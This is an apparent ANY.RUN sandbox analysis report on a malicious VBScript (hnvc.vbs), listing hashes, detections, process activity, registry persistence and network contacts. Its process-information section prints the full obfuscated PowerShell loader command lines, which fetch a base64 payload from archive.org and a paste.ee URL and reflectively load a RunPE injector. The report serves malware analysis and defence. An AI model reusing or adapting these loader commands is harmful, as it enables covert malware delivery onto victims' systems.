File name:

hnvc.vbs

Full analysis: https://app.any.run/tasks/1c890afa-3ebe-49f7-af4a-214bf033f1fa
Verdict: Malicious activity
Analysis date: September 25, 2024, 13:42:29
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
stegocampaign
susp-powershell
Indicators:
MIME: text/plain
File info: Unicode text, UTF-16, little-endian text, with CRLF line terminators
MD5:

1C468CB1DDACCD43BED8FDAEE3C83128

SHA1:

AB581D3C6E8A2134FDAA5A88FE8638294DE97FA8

SHA256:

BD33077B081C8B65E10488D40A46DB863D21AFA331B68F74F332DBB8A4219370

SSDEEP:

12288:mIQpXYYN1wQKkiMKm3mRCHpxaz5dHXp7RInJQtEt+ok4mjklNBgvuGt/RDxKZ9K9:XER2UA8ouxQ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Stego campaign has been detected

      • powershell.exe (PID: 6372)
    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6372)
      • powershell.exe (PID: 6464)
    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 6468)
      • powershell.exe (PID: 6372)
    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6372)
      • powershell.exe (PID: 6464)
    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6464)
    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6464)
  • SUSPICIOUS

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6468)
    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 6468)
      • powershell.exe (PID: 6372)
    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 6372)
      • wscript.exe (PID: 6468)
    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6372)
      • powershell.exe (PID: 6464)
    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 6372)
    • Probably obfuscated PowerShell command line is found

      • powershell.exe (PID: 6372)
    • Application launched itself

      • powershell.exe (PID: 6372)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 6464)
  • INFO

    • The process uses the downloaded file

      • wscript.exe (PID: 6468)
    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6372)
    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 6372)
    • Disables trace logs

      • powershell.exe (PID: 6464)
    • Checks proxy server information

      • powershell.exe (PID: 6464)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (49.9)
.bas | Nevada BASIC tokenized source (25)
.mp3 | MP3 audio (24.9)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
127
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs #STEGOCAMPAIGN powershell.exe no specs conhost.exe no specs powershell.exe cmd.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
644"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\hvnc.vbs"C:\Windows\System32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
4492\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6120\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6372"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxDC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6464"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
6468"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\hnvc.vbsC:\Windows\System32\wscript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
10 005
Read events
10 004
Write events
1
Delete events
0

Modification events

(PID) Process:(6464) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Path
Value:
C:\ProgramData\hvnc.vbs
Executable files
0
Suspicious files
1
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
6372powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5xum1jdf.h0f.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6464powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4uksqgmm.puz.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6372powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_forfbnlf.wga.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6464powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:3AA1AED09FBE086DC924B3FD30DEAD47
SHA256:2DAA55699FDD5AE0DA664A5038B2E0DB6D9C05378B2D876D09700C57039A16DC
6464powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vqauovvq.0fy.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
644cmd.exeC:\ProgramData\hvnc.vbstext
MD5:1C468CB1DDACCD43BED8FDAEE3C83128
SHA256:BD33077B081C8B65E10488D40A46DB863D21AFA331B68F74F332DBB8A4219370
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
25
DNS requests
16
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1020
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
2636
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
1020
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5816
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
whitelisted
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3888
svchost.exe
239.255.255.250:1900
whitelisted
52.167.249.196:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6464
powershell.exe
207.241.227.240:443
ia600100.us.archive.org
INTERNET-ARCHIVE
US
whitelisted
2636
svchost.exe
20.190.159.75:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2636
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
5816
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 52.167.249.196
  • 40.127.240.158
whitelisted
www.microsoft.com
  • 88.221.169.152
  • 23.35.229.160
whitelisted
google.com
  • 142.250.185.110
whitelisted
ia600100.us.archive.org
  • 207.241.227.240
whitelisted
login.live.com
  • 20.190.159.75
  • 40.126.31.69
  • 40.126.31.73
  • 40.126.31.71
  • 40.126.31.67
  • 20.190.159.0
  • 20.190.159.64
  • 20.190.159.68
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted
paste.ee
  • 188.114.96.3
  • 188.114.97.3
shared
nexusrules.officeapps.live.com
  • 52.111.227.13
whitelisted

Threats

PID
Process
Class
Message
Misc activity
ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee)
Potential Corporate Privacy Violation
ET POLICY Pastebin-style Service (paste .ee) in TLS SNI
No debug info